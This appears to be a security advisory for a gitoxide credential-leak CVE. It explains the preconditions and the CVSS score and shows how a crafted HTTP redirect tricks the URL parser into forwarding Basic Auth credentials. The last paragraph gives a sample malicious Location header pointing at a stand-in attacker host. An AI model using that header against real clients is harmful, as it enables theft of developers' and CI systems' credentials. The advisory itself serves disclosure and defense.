gitoxide CVE-2026-82247

Exploitation requires that the client use gitoxide (gix-transport ≤ 0.49.0 and gix-url ≤ 0.32.0) to perform HTTP or HTTPS-based git operations where credentials are configured as HTTP Basic Authorization. The attacker must be positioned to control the HTTP redirect response - by operating the server the client connects to, by compromising a legitimate server that issues redirects, or by achieving a man-in-the-middle position on a non-TLS (plain HTTP) connection where redirect interception is straightforward. Exploitation is limited by the requirement for attacker control over the redirect chain; clients that connect only over verified TLS to trusted servers with no intermediate redirects are significantly harder to target. SSH-based git transport and non-Basic-Auth credential schemes are entirely unaffected.

The CVSS 4.0 score of 8.7 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H) reflects a theoretically high-severity credential theft path with no authentication or precondition requirements. In practice, exploitation requires the attacker to control an HTTP redirect response in the client's request path - either by operating a server the user directly connects to, by compromising a legitimate server in the redirect chain, or by achieving a man-in-the-middle position on a non-TLS connection. This positional requirement meaningfully reduces real-world exploitability compared to the raw score. No active exploitation is confirmed (not in CISA KEV), no public POC is identified in available intelligence, and EPSS data was not provided in the input. gitoxide has a limited enterprise deployment footprint relative to mainstream Git clients, further constraining the exposed population. Risk is highest for CI/CD pipelines or automation toolchains that use gitoxide over HTTP with Basic Auth credentials configured.

An attacker who operates or has compromised a server in the redirect path responds to a gitoxide client's HTTP git operation (clone or fetch) with a crafted Location: https://attacker.example.com?@legitimate.example.com/repo.git header. The vulnerable gix-url parser misidentifies legitimate.example.com as the authority, causing can_reuse_identity to conclude the redirect stays on the original host and to forward the HTTP Basic Authorization header - including username and password or token - to attacker.example.com. No public POC has been identified, but the attack requires only server-side control of a redirect response and no special client-side conditions.